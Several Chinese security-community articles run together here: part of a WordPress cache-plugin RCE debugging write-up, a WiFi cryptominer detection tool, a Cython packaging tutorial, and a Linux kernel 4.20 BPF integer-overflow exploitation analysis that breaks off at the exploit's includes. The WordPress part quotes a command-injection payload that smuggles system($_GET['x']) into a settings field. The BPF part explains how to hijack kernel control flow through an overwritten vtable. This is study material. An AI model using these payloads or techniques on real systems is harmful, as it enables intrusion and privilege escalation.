wp-cache-config.php文件格式不对会报错无法rce。
漏洞文件很多地方都调用了这个函数，可能会有不同的构造方法，找找没过滤而且可以控的变量，稍微看了一下暂时没发现可利用点。
# 0x04 单引号之谜
为何中括号内有单引号就无法更新第31行呢？
推测是$new_cache_path/$dir这个变量并不是构造的恶意代码，而是因为存在单引号所以$dir被赋值为默认的WP_CONTENT_DIR .
'/cache/';
所以没经过写入函数wp_cache_replace_line()。
即加了单引号使得这个第一个if为假了。（结合页面反馈正常，判断出第二个if没进入也可以辅助证明这一点）
if ( $new_cache_path != $cache_path ) {
if ( file_exists( $new_cache_path ) == false )
rename( $cache_path, $new_cache_path );
$cache_path = $new_cache_path;
wp_cache_replace_line('^ *\$cache_path', "\$cache_path = '" . $cache_path . "';", $wp_cache_config_file);
}
找到该变量$cache_path
看来还是要动态调试......
让一切玄学在动态调试前无所遁形！
开始动态调试：
wp_cache_location传值正常！
$_POST['wp_cache_location']
D:\\phpStudy\\WWW\\lsawebtest\\vulweb\\wordpress\\wordpress-v5-8/wp-content/cache/\';system($_GET[\'x\']);#
dirname()后值出现异常！！！
‘];#这个几个字符咋没了？？？
D:\phpStudy\WWW\lsawebtest\vulweb\wordpress\wordpress-v5-8/wp-content/cache/\';system($_GET[\'x
接着经过realpath()后返回了false使得$dir为false从而赋值为默认的WP_CONTENT_DIR . '/cache/'
所以无法进入第一个if也就无法进入
wp_cache_replace_line('^ *\$cache_path', "\$cache_path = '" . $cache_path . "';", $wp_cache_config_file);
最后便没有修改第31行$cache_path = WP_CONTENT_DIR . '/cache/';
和前面分析的基本一致！
那么dirname()后，’];#这个几个字符咋没了？？？
是因为加了转义的\，最后一个\在x\’]这个位置，所以dirname()判断最后一个单引号之前为目录了。（’];#成了文件名）
至于\怎么加的，不深究了。
# 0x05 结语
1.不要过于相信网上的一些漏洞分析和payload。
2.逐步排查，排除了所有的不可能，剩下的无论多么难以置信，那就是真相。
3.保持冷静，注意细节。
4.payload越精简越好，尽量避免特殊字符。
5.遇到阻碍，放松一下过段时间再分析可能就解决了。
# 0x06 参考资料
<https://www.exploit-db.com/exploits/49718> | 社区文章 |
# 拒绝成为免费劳动力：检测含有挖矿脚本的WiFi热点
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：qingxp9@360PegasusTeam
> 前几日看到一则新闻，一家星巴克店内无线网络被发现植入了恶意代码，劫持网络流量利用用户设备挖掘门罗币（XMR）。
与加密货币相关的安全事件总是引人注目，我们除了认识到门罗币具有一定的入手价值外，还再次见识到了公共WiFi的危险。
不久后[Arnau Code写了一篇文章](http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html)，详细介绍了如何通过MITM攻击植入JavaScript代码，从而让WiFi网络内的所有设备帮助攻击者挖矿，并以CoffeeMiner的名称进行了开源：<https://github.com/arnaucode/coffeeMiner>
我相信有很多家伙会从这个新闻以及CoffeeMiner工具中得到启发，利用类似的攻击方式开创挖矿事业。不过本篇我并不想过多讨论攻击方面的问题，最近行业内出现了对防御型安全人才的呼声，因此我打算应景的写一篇防御角度的文章，分析如何便捷的检测周围WiFi网络是否被植入了挖矿代码。
后文我将围绕“CoinHive的介绍”，“开放式WiFi网络的特性”，“检测工具的实现”三点来进行叙述，文章的末尾将公布完整的代码方便大家参考。
## CoinHive
星巴克挖矿事件中所使用的便是CoinHive挖矿程序。Coinhive是一个提供门罗币挖掘JS脚本的网站平台（https://coinhive.com），攻击者会将其提供的脚本植入到自己或入侵的网站上。一旦有用户访问网页加载JS后，便会利用用户设备的运算资源挖掘门罗币。
在CoinHive官网注册登陆后，在其文档中发现了多种部署方式的介绍，包括JS代码形式、人机验证形式、Wordpress插件形式等等，种类非常丰富。
比如注册登陆时候的人机验证，就会启动挖矿程序，等待一段时间的挖矿后才能登录。
根据JavaScript Miner的介绍文档，将事例代码放入网站的html中就可以了，部署极其简单。
> 相应的，屏蔽的方法也很简单，各种Adblock软件早已将它们屏蔽啦。
根据提示，如果不想有提示用户的弹窗可以将代码中的 authedmine.min.js 替换为 coinhive.min.js。
## 开放式WiFi的特性
无密码的开放式WiFi网络一直以来因其存在的安全威胁为广大安全人员所诟病，主要在于两点：攻击者可轻易建立同名钓鱼WiFi（客户端会自动连接！），通信数据未加密容易被嗅探。
最近Wi-Fi联盟表示将在即将发布的WPA3中，添加对开放式WiFi的通信数据加密。但在支持WPA3的设备被广泛使用前，需要警惕相应的攻击场景还会存在很长一段时间。回到本文，开放式的WiFi网络一直是类似恶意攻击发生的重灾区，结合刚刚所介绍的“通信数据未加密特性”，我们的检测工具实现原理就呼之欲出了，即监听明文的802.11数据帧，当发现目标信息便进行告警。
## 检测工具的实现
### 搭建测试热点
首先，建立一个包含攻击代码的开放式WiFi网络方便后续测试。
笔者是通过无线网卡Hostapd建立软AP，Dnsmasq提供DHCP及DNS服务，本地Nginx提供Web服务并植入CoinHive代码，最后通过iptables配置Captive
Portal（强制认证登陆页面）。如此当移动设备连接到该热点，会自动弹窗提示需要认证，点击后就会访问含有挖矿代码的网页了。
考虑到大部分读者并不像我这样富有，同时拥有两块无线网卡！（之后需要一块来进行监听），而且Hostapd、Dnsmasq、Nginx、iptables这套方案的部署配置较为复杂，没有祖传的手艺容易出问题。在此我推荐一个简单的方案：利用随身WiFi或者家庭路由器建立热点，配置认证页面到本地Web服务。好吧，如果没有认证页面的配置选项，手动访问网页也是一样的。
### 监听明文802.11数据帧
下一步，我们来嗅探传递在空气中的HTTP数据。将无线网卡配置为Monitor模式，切换到热点所在的Channel，并使用Wireshark进行观察。
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig wlan0 channel 11
映入眼帘的应该是大量的各种802.11帧。我们的目标是未加密的数据帧，其中的HTTP数据将会被Wireshark所解析，我们键入“http.response”进行筛选HTTP
Response包。与此同时，需要让我们的移动设备访问目标网页，接着就能观察到一些数据啦。
我们直接尝试过滤包含CoinHive特征代码的数据包“data-text-lines contains CoinHive.Anonymous”，结果如下。
此时我们便能得出结论，该热点存在着CoinHive挖矿代码。从wlan.sa字段取得该热点MAC地址，再结合Beacon或Probe帧获取其热点名称。当然我们也可以使用Wireshark的命令行工具Tshark在终端里进行操作，并指定输出格式只输出热点MAC地址。
### 使用Scapy编写恶意热点识别框架
总结一下，我们的程序就像是一个对明文802.11数据帧的分析器。按照这个思路，只需要添加不同的识别规则就能扩展出对各种不同攻击行为的检测。为了添加扩展性，在此使用Scapy来编写一个简单的框架。
#### 使用PIP安装Scapy
> 注意由于scapy没有对http协议进行解析，所以引入了scapy_http扩展包。
sudo apt install python-pip
pip install scapy
pip install scapy_http
#### 获取热点列表
上面tshark的程序有个缺点，就是不太方便同时显示出热点名称。于是在此框架中，我们会先扫描一下周边热点信息以便后用。
from scapy.all import *
from scapy.layers import http
iface = "wlan0"
ap_dict = {}
def BeaconHandler(pkt) :
if pkt.haslayer(Dot11) :
if pkt.type == 0 and pkt.subtype == 8 :
if pkt.addr2 not in ap_dict.keys() :
ap_dict[pkt.addr2] = pkt.info
sniff(iface=iface, prn=BeaconHandler, timeout=1)
#### 监听含有关键字的HTTP数据包
当匹配到告警规则后，输出热点名称、MAC地址及告警详情。
filter_response = "tcp src port 80"
def HTTPHandler(pkt):
if pkt.haslayer('HTTP'):
if "CoinHive.Anonymous" in pkt.load:
mac = pkt.addr2
if mac in ap_dict.keys() :
ssid = ap_dict[mac]
reason = "Coinhive_miner"
print "Find Rogue AP: %s(%s) -- %s" %(ssid, mac, reason)
else:
print mac
sniff(iface=iface, prn=HTTPHandler, filter=filter_response, timeout=5)
#### 监听模式及信道切换
2.4GHz中，热点一般会建立在1、6、11三个互不干扰的信道上。为了增加监听覆盖的信道，让我们的程序增加信道切换功能。
import os
print "[+] Set iface %s to monitor mode" %(iface)
os.system("ifconfig " + iface + " down")
os.system("iwconfig " + iface + " mode monitor")
os.system("ifconfig " + iface + " up")
channels = [1,6,11]
print "[+] Sniffing on channel " + str(channels)
while True:
for channel in channels:
os.system("iwconfig " + iface + " channel " + str(channel))
...
#### 最终效果
把以上的模块组装在一起就可以使用啦，可以[在这查看完整代码](https://github.com/360PegasusTeam/WiFi-Miner-Detector)。
测试效果如下：
如果你想添加更多的检测规则，可以在HTTPHandler函数里边扩展。 | 社区文章 |
**作者：张健**
**公众号：[平安科技银河安全实验室](http://https://mp.weixin.qq.com/s/YRKY7FgLFw-w4QIlrNd-FA
"银河安全实验室")**
[Cython](http://https://cython.org "Cython")是一种方便开发者为Python写C
extensions的语言，降低了开发者写C拓展的难度；Cython module可以是.py或者.pyx文件；
编译Cython module的主要过程:
1\. Cython compiler将.py/.pyx文件编译为`C/C++`文件；
2\. C compiler再将`C/C++`编译为.so(windows 为.pyd)；
通过Cython将.py转化为动态共享库来发布，不仅能够获得性能的提升，从安全的角度来看，还能有助于保护源码.
## 1、Cython的基本用法
**编写测试代码hello.py:**
def say_hello_to(name):
print("Hello %s!" % name)
**相同目录下新建setup.py:**
from distutils.core import setup
from Cython.Build import cythonize
setup(name='Hello world',
ext_modules=cythonize("hello.py"))
**编译hello.py**
**import使用生成的hello module**
## 2、分析Cython编译生成的hello.c
### 2.1 initialization function（module入口函数）
hello.c其实是C/C++ extension，首先，发现hello.c中存在initialization function：
A.若python版本>=3，入口函数名字为：PyInit_##modulename，
否则，为init##modulename；
B.若python版本>=3，并且开启了PEP489_MULTI_PHASE_INIT时，入口函数返回了PyModuleDef的对象指针；并且定义了pymod_exec函数；
否则，入口函数的函数体就是pymod_exec函数，返回初始化完成的Module；
Python官方文档[Building C and C++
Extensions](https://docs.python.org/3/extending/building.html)介绍了入口函数的命名规则；
C.分析发现入口函数在import过程中被PyImport_LoadDynamicModuleWithSpec()调用：
### 2.2 PEP 489:Multi-phase extension module initialization
[PEP489](https://www.python.org/dev/peps/pep-0489/)重新设计了extension
module和import机制的交互过程，提出了多阶段初始化，并且向后兼容single-phase initialization；
在入口函数之后，extension module的创建被分成了两个阶段：
module creation phase,module execution phase；
**A. 入口函数**
对PyModuleDef对象进行初始化，并返回对象指针；
__pyx_moduledef的类型就是PyModuleDef，结构如下：
注意到第二个成员即是module name；
extension module两个阶段处理过程就定义在PyModuleDef的m_slots成员中；
**B.module creation phase**
由 Py_mod_create slot管理，value所指向的函数有如下签名：
PyObject _(_ PyModuleCreateFunction)(PyObject _spec, PyModuleDef_ def)
创建并返回一个Module Object，第一个参数是ModuleSpec类型指针，在PEP451中定义；
上述例子相对应的函数如下：
**C.module execution phase**
由Py_mod_exec slot指定，value所指向的函数有如下签名：
int ( _PyModuleExecFunction)(PyObject_ module)
完成Module的初始化工作；
上述例子相对应的函数为：__pyx_pymod_exec_hello；
2.1中也提到single-phase initialization情况下，__pyx_pymod_exec_hello就是入口函数；
如果是multi-phase，直接使用module creation phase创建的module进行后续的初始化；
若python版本小于3，调用Py_InitModule4()生成module，第一个参数是module name；
否则，调用PyModule_Create()，参数为前面PyModuleDef对象；
后续module初始化完成后，会将此module加入sys.modules中，并且以module name为key；
## 3、多个Cython Module转化成单个.so
Cython将单个.py转化为单个.so比较方便，但是对package的支持却不够；package中存在多个.py和子目录，其子目录里面又包含多个.py和子目录；这种情况下将每个.py转化为一个.so，不便于后续对.so的加固保护。那么如何将package编译成一个.so？
### 3.1 PEP 302：New Import Hooks
参考[Collapse multiple submodules to one Cython
extension](https://stackoverflow.com/questions/30157363/collapse-multiple-submodules-to-one-cython-extension)，第二个回答提到import一个模块时，Python会通过遍历sys.meta_path中的finder来确定一个module相对应的loader，import机制在[PEP
302](https://www.python.org/dev/peps/pep-0302/)中引入了sys.meta_path，finder，loader；
往sys.meta_path中注入module定制化的finder，finder需要实现find_module()，返回module定制的loader对象；而loader需要实现load_module()，完成对模块的导入，并且返回module对象；
### 3.2 imp.load_dynamic()
参考的第二个答案基于importlib给出了python3的实现，在python2中，importlib并没有“MetaPathFinder”等类，不过python2中提供了imp.load_dynamic(name,
pathname[, file])从动态库里来初始化module，且返回module对象；imp.load_dynamic官方文档中有如下说明：
> The pathname argument must point to the shared library. The name argument is
> used to construct the name of the initialization function: an external C
> function called initname() in the shared library is called. The optional
> file argument is ignored.
也就是说该函数有三个参数：module的名称`name`，动态库的路径`pathname`，以及1个可忽略的参数`file`；
> CPython implementation detail: The import internals identify extension
> modules by filename, so doing foo = load_dynamic("foo", "mod.so") and bar =
> load_dynamic("bar", "mod.so") will result in both foo and bar referring to
> the same module, regardless of whether or not mod.so exports an initbar
> function.
分析imp.load_dynamic()的源码发现：
Python2中维持了一个 dictionary:extensions
，以pathname为key，用来记录已经加载的动态库，作用就是防止多次加载同一个动态库执行其中的入口函数； imp.load_dynamic 会调用
_PyImport_LoadDynamicModule()， _PyImport_LoadDynamicModule()
会调用_PyImport_FindExtension() 来查询 extensions 中缓存的 pathname 相对应的
module；如存在，就不会调用入口函数。
此外还发现，file参数存在的情况下，imp.load_dynamic会取得file的文件描述符’fp’，进而确定该文件的设备和inode编号，若已加载过该动态库文件，最终会通过dlsym(filehandle，funcname)查找入口函数，并返回入口函数指针；
所以，不同的module，调用imp.load_dynamic()时，设置好file参数，pathname保持不同，设置为module的完整名即可，就可实现从同一个so中加载不同的module；
### 3.3 module名称的调整
2.1节的hello.py，其python2入口函数名为：inithello；package中同一目录下，python文件名不同，所以能够保证入口函数名称不同；但如果其子目录下面存在同名的python文件，就会导致入口函数名冲突。
如下面的例子：
foo/foo1.py和foo/bar/foo1.py就会冲突，都是initfoo；
为了解决此问题，我们可以利用module包含package的完整名来重命名入口函数，将完整名中的点“.”换成下划线“_”；这样入口函数分别变为:initfoo_foo1和initfoo_bar_foo1，对于import机制来说module名就变为：foo_foo1和foo_bar_foo1，module完整名就分别变成：foo.foo_foo1和foo.bar.foo_bar_foo1。
### 3.4 python2下的实现
基于[Collapse multiple submodules to one Cython
extension](https://stackoverflow.com/questions/30157363/collapse-multiple-submodules-to-one-cython-extension)的第二个回答，我们对Cython和bootstrap.py做了如下修改；
#### 3.4.1 Compiler & ModuleNode.py的修改
对Cython Compiler的分析，发现2.1中hello.c代码生成部分由ModuleNode.py负责；
A. 入口函数名调整为下划线形式
ModuleNode.py对应的部分调整：
B. __pyx_pymod_exec_hello()，single-phase initialization情况下的入口函数函数体
ModuleNode.py对应的部分调整：
#### 3.4.2 bootstrap.py & setup.py
根据前面 **3.2 bootstrap.py** 下：
import sys, imp
class CythonPackageFileLoader():
def __init__(self):
pass
def load_module(self, fullname):
print('load_module: '+fullname)
sub_name = fullname.replace('.', '_')
package = fullname.rsplit('.', 1)[0]
new_name = package + '.' + sub_name
if new_name in sys.modules:
print('found in sys.modules')
return sys.modules[new_name]
module = imp.load_dynamic(new_name, new_name, file(__file__))
module.__file__ = __file__
module.__loader__ = self
module.__package__ = package
print(module)
\#print(sys.modules.keys())
\#sys.modules[new_name] = module
return module
class CythonPackageMetaPathFinder():
def __init__(self, name_filters):
self.name_filters = name_filters
self.loader = CythonPackageFileLoader()
def find_module(self, fullname, path=None):
print('find_module: '+fullname)
for name_filter in self.name_filters:
if fullname == name_filter:
return self.loader
return None
def bootstrap_cython_submodules():
sys.meta_path.append(CythonPackageMetaPathFinder(
[
'foo.foo1',
'foo.foo2',
'foo.bar.bar1',
'foo.bar.foo1'
]
))
**setup.py**
\#!/usr/bin/env python2
from distutils.core import setup
from distutils.extension import Extension
from Cython.Build import cythonize
extension = Extension("foo.foo_bootstrap",
[
"foo/bootstrap.py",
"foo/foo1.py",
"foo/foo2.py",
"foo/bar/bar1.py",
"foo/bar/foo1.py",
],
extra_compile_args=['-DCYTHON_PEP489_MULTI_PHASE_INIT=0', '-g']
)
setup(
name = 'cython_test',
ext_modules = cythonize(extension)
)
### 3.5 python3下的实现
#### 3.5.1 PEP 451:A ModuleSpec Type for the Import System
[PEP
451](https://www.python.org/dev/peps/pep-0451/)提出了向importlib.machinery添加一个名为“ModuleSpec”的新类。它将提供用于加载一个module的所有导入相关的信息，且无需首先加载module即可使用。finder将直接提供module对应的ModuleSpec对象，而不是loader（通过ModuleSpec间接提供）。import机制将进行调整以利用ModuleSpec的优势，使用它们来加载模块。
finder和loader基于此PEP需要进行相应的调整：
1、定制module对应的finder，并且实现其find_spec()，返回对应的ModuleSpec对象，取代其find_module()；
2、定制loader，尽可能实现其exec_module()，取代load_module()；
3、当然，PEP 451向后兼容PEP 302；
importlib里面新增了一些api和类，方便我们实现finder及loader；
A.通过importlib.machinery.ExtensionFileLoader(fullname, path)来实现loader；
B.通过importlib.util.spec_from_loader(name, loader, *, origin=None,
is_package=None)来生成封装了loader的spec；
C.继承importlib.abc.MetaPathFinder实现finder，其find_spec()执行上述两步；
module name应该为下划线格式的新名字，且为包含package的完整名；
基于[Collapse multiple submodules to one Cython
extension](https://stackoverflow.com/questions/30157363/collapse-multiple-submodules-to-one-cython-extension)的第二个回答，利用ModuleSpec，我们对Cython和bootstrap.py做了如下修改；
#### 3.5.2 Compiler/ModuleNode.py的修改
A、入口函数修改为下划线格式
ModuleNode.py对应的部分调整：
B、PyModuleDef类中的m_name
PyModule_Create()源码中指出，m_name是不带package的module name；
ModuleNode.py对应的部分调整：
C、__pyx_pymod_exec_hello():校验及加入sys.modules；
#### 3.5.3 bootstrap.py & setup.py
**bootstrap.py:**
import sys
import importlib.abc
import importlib.util
class CythonPackageMetaPathFinder(importlib.abc.MetaPathFinder):
def __init__(self, name_filters):
super(CythonPackageMetaPathFinder, self).__init__()
self.name_filters = name_filters
def find_spec(self, fullname, path, target):
print('find_spec: '+fullname)
for name_filter in self.name_filters:
if fullname==name_filter:
\# foo.foo1 -> foo.foo_foo1
sub_name = fullname.replace('.', '_')
new_name = fullname[:fullname.rfind('.')+1] + sub_name
\#print('new_name: '+new_name)
if new_name in sys.modules:
return sys.modules[new_name].__spec__
loader = importlib.machinery.ExtensionFileLoader(new_name,__file__)
spec = importlib.util.spec_from_loader(new_name, loader)
print(spec)
return spec
return None
\# injecting custom finder/loaders into sys.meta_path:
def bootstrap_cython_submodules():
print('in foo bootstrap '+__file__)
name_filters = [
'foo.foo1',
'foo.foo2',
'foo.bar.foo1',
'foo.bar.bar1'
]
sys.meta_path.append(CythonPackageMetaPathFinder(name_filters))
**setup.py:同python2**
**参考文献：**
1. <https://docs.python.org/3/extending/building.html>
2. <https://github.com/python/cpython/blob/master/Python/importdl.c#L134>
3. <https://www.python.org/dev/peps/pep-0489/>
4. <https://stackoverflow.com/questions/30157363/collapse-multiple-submodules-to-one-cython-extension>
5. <https://www.python.org/dev/peps/pep-0302/>
6. <https://docs.python.org/2/library/imp.html#imp.load_dynamic>
7. <https://github.com/python/cpython/blob/2.7/Python/import.c#L3150>
8. <https://www.python.org/dev/peps/pep-0451/>
* * * | 社区文章 |
# 前言
在计算机语言中整数类型都有一个宽度,我们常见的整数类型有8位（单字节字符、布尔类型）、16位（短整型）、32位（长整型）等,也就是说，一个整数类型有一个最大值和一个最小值;如歌把一个数据放入了比它本身小的存储空间中，从而出现了溢出;而通常一个数据的溢出,往往影响的是一个堆或者栈的申请,最终导致堆或栈的溢出....
我这里是通过分析Linux kernel 4.20的BPF来进行学习的,环境我仍然放在了[github](https://github.com/cc-sir/ctf-challenge/tree/master/Linux%20kernel%204.20%20BPF%20%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA)上面了,需要的话可以自行下载学习....
分析的代码为`linux-4.20-rc3`版本：<https://elixir.bootlin.com/linux/v4.20-rc3/source>
,因为该漏洞影响`Linux Kernel 4.20rc1-4.20rc4`，主要Linux发行版并不受其影响....
# 简介
`BPF`的全称是`Berkeley Packet
Filter`,字面意思意味着它是从包过滤而来,该模块主要就是用于用户态定义数据包过滤方法;从本质上我们可以把它看作是一种内核代码注入的技术,`BPF`最大的好处是它提供了一种在不修改内核代码的情况下，可以灵活修改内核处理策略的方法,这使得在包过滤和系统tracing这种需要频繁修改规则的场合中非常有用....
# 漏洞分析
首先这个漏洞的触发流程是这样的:
SYSCALL_DEFINE3() -> map_create() -> find_and_alloc_map() -> queue_stack_map_alloc()
首先`BPF`是通过系统调用来触发的,[源码](https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/syscall.c#L2466):
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;
if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;
err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));
/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;
err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;
switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
case BPF_MAP_DELETE_ELEM:
err = map_delete_elem(&attr);
break;
case BPF_MAP_GET_NEXT_KEY:
err = map_get_next_key(&attr);
break;
case BPF_PROG_LOAD:
err = bpf_prog_load(&attr);
break;
case BPF_OBJ_PIN:
err = bpf_obj_pin(&attr);
break;
... ...
case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
err = map_lookup_and_delete_elem(&attr);
break;
default:
err = -EINVAL;
break;
}
return err;
}
在这个这个用户可以通过`BPF_MAP_CREATE`参数调用`map_create`函数来创建map对象,`map_create`的[源码](https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/syscall.c#L488):
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;
err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;
f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;
if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr); //根据map的类型分配空间
if (IS_ERR(map))
return PTR_ERR(map);
err = bpf_obj_name_cpy(map->name, attr->map_name);
if (err)
goto free_map_nouncharge;
atomic_set(&map->refcnt, 1);
atomic_set(&map->usercnt, 1);
... ...
free_map:
bpf_map_release_memlock(map);
free_map_sec:
security_bpf_map_free(map);
free_map_nouncharge:
btf_put(map->btf);
map->ops->map_free(map);
return err;
}
其中`find_and_alloc_map`函数会根据map的类型给map分配空间,`find_and_alloc_map`中首先会根据`attr->type`，寻找所对应的处理函数虚表，然后根据处理函数虚表的不同，调用不同的函数进行处理,[源码](https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/syscall.c#L108):
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;
if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[type]; //根据type的值寻找所对应的处理函数虚表
if (!ops)
return ERR_PTR(-EINVAL);
if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr); //调用虚函数
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}
而在虚函数当中有一个`queue_stack_map_alloc`函数,[源码](https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/queue_stack_maps.c#L62):
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;
size = attr->max_entries + 1; ////会产生整数溢出
value_size = attr->value_size;
queue_size = sizeof(*qs) + (u64) value_size * size;
cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);
cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;
ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);
qs = bpf_map_area_alloc(queue_size, numa_node); //申请过小的堆块
if (!qs)
return ERR_PTR(-ENOMEM);
memset(qs, 0, sizeof(*qs));
bpf_map_init_from_attr(&qs->map, attr);
qs->map.pages = cost;
qs->size = size;
raw_spin_lock_init(&qs->lock);
return &qs->map;
}
这个函数就是我们整数溢出漏洞的关键函数了;
因为这里`size`的类型是u32:
u32 size, value_size;
u64 queue_size, cost;
而`attr->max_entries`是我们用户传入进来的参数,是可控的;
因为`size = attr->max_entries +
1;`如果`attr->max_entries=0xffffffff`，那么`attr->max_entries+1`的时候就会发生整数溢出使得`size=0`了;
然后因为后续在函数`bpf_map_area_alloc`中会申请一块大小为`queue_size`的堆内存,而`queue_size`的大小由`queue_size
= sizeof(*qs) + (u64) value_size *
size;`表达式计算得到的;所以最后我们分配的堆的大小只有`sizeof(*qs)`了....
## 整数溢出
这里我们可以通过动态调试来定位到关键代码处,从会汇编层面可以更加清晰的看到漏洞点:
这里就看到了`eax`寄存器就相当于是`size`,长度为32位,当执行加1操作后,`eax`的值就会被溢出置为`0`:
这个时候又会用`rdx`的值去乘以`rdx`的值,当然最终得到的结果仍然是`0`;
## 申请过小的堆
然后这里的汇编代码就对应了:
if (ret < 0)
return ERR_PTR(ret);
qs = bpf_map_area_alloc(queue_size, numa_node);
## 堆溢出
因为上面的整数溢出漏洞，导致了内存分配的时候仅仅分配了管理块的大小,但是没有分配实际存储数据的内存;之后我们可以在另一个`bpf系统`调用`map_update_elem`这块`map`的过程中，向这块过小的`queue
stack`中区域拷入数据，就导致内核堆溢出;
发生溢出的主要函数,[源码](https://elixir.bootlin.com/linux/v4.20-rc3/source/kernel/bpf/queue_stack_maps.c#L200)如下:
/* Called from syscall or from eBPF program */
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;
/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);
/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;
raw_spin_lock_irqsave(&qs->lock, irq_flags);
if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}
dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size); //堆溢出
if (unlikely(++qs->head >= qs->size))
qs->head = 0;
out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}
这里`memcpy`函数中的`dst`就是上面申请的`queue
stack`区域，而`src`是由用户态拷入的大小为`qs->map.value_size`的`buffer`,
拷贝长度由创建`queue_stack`时用户提供的`attr.value_size`所决定的，所以拷贝长度也是用户可控的;`sizeof(struct
bpf_queue_stack)`就有`256`个字节，如果当`value_size > 256 - (&qs->elements -&qs)`时,就会发生越界拷贝了;
# 漏洞利用
综上所述,我们可以利用一个整数溢出漏洞造成一个堆溢出漏洞,但是这里我们有限定条件:
1. 申请堆块的大小是0x100;
2. 可以向相邻堆块溢出;
不过在这个模块中刚好有一个数据结构我们可以使用`bpf_queue_stack`:
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size;
char elements[0] __aligned(8);
};
其中`struct bpf_map`为:
struct bpf_map {
const struct bpf_map_ops *ops ____cacheline_aligned; //虚表
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};
这个`bpf_map_ops`虚表里面有许多的函数指针:
const struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
因为`struct
bpf_queue_stack`的第一个成员`bpf_map_ops`是一个包含了许多函数指针的虚表指针，所以我们只需要连续申请两个`bpf_queue_stack`,然后让第一个`bpf_queue_stack`发生溢出,将后一个`bpf_queue_stack`的虚表指针改写为我们在用户态空间中构造一个虚函数表，将指针指向这个虚函数表利用`close`函数即可以触发一个伪造的函数地址来劫持控制流;
这是因为在`close(BPF
map)`时，会将`bpf_map_free_deferred()`添加到队列并随后执行，通过将map->ops指向用户态可控位置，并且将`ops.map_free`设为任意值，我们就可以在执行`map->ops->map_free(map);`语句的时候就可以将`rip`设置为任意值了;
# EXP
exp.c
// exploit author: Wei Wu ([email protected])
// initial poc generated by syzkaller
// modified by cc-sir
#define _GNU_SOURCE
#define SPRAY_NUMBER 14
#include <signal.h>
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/mman.h>
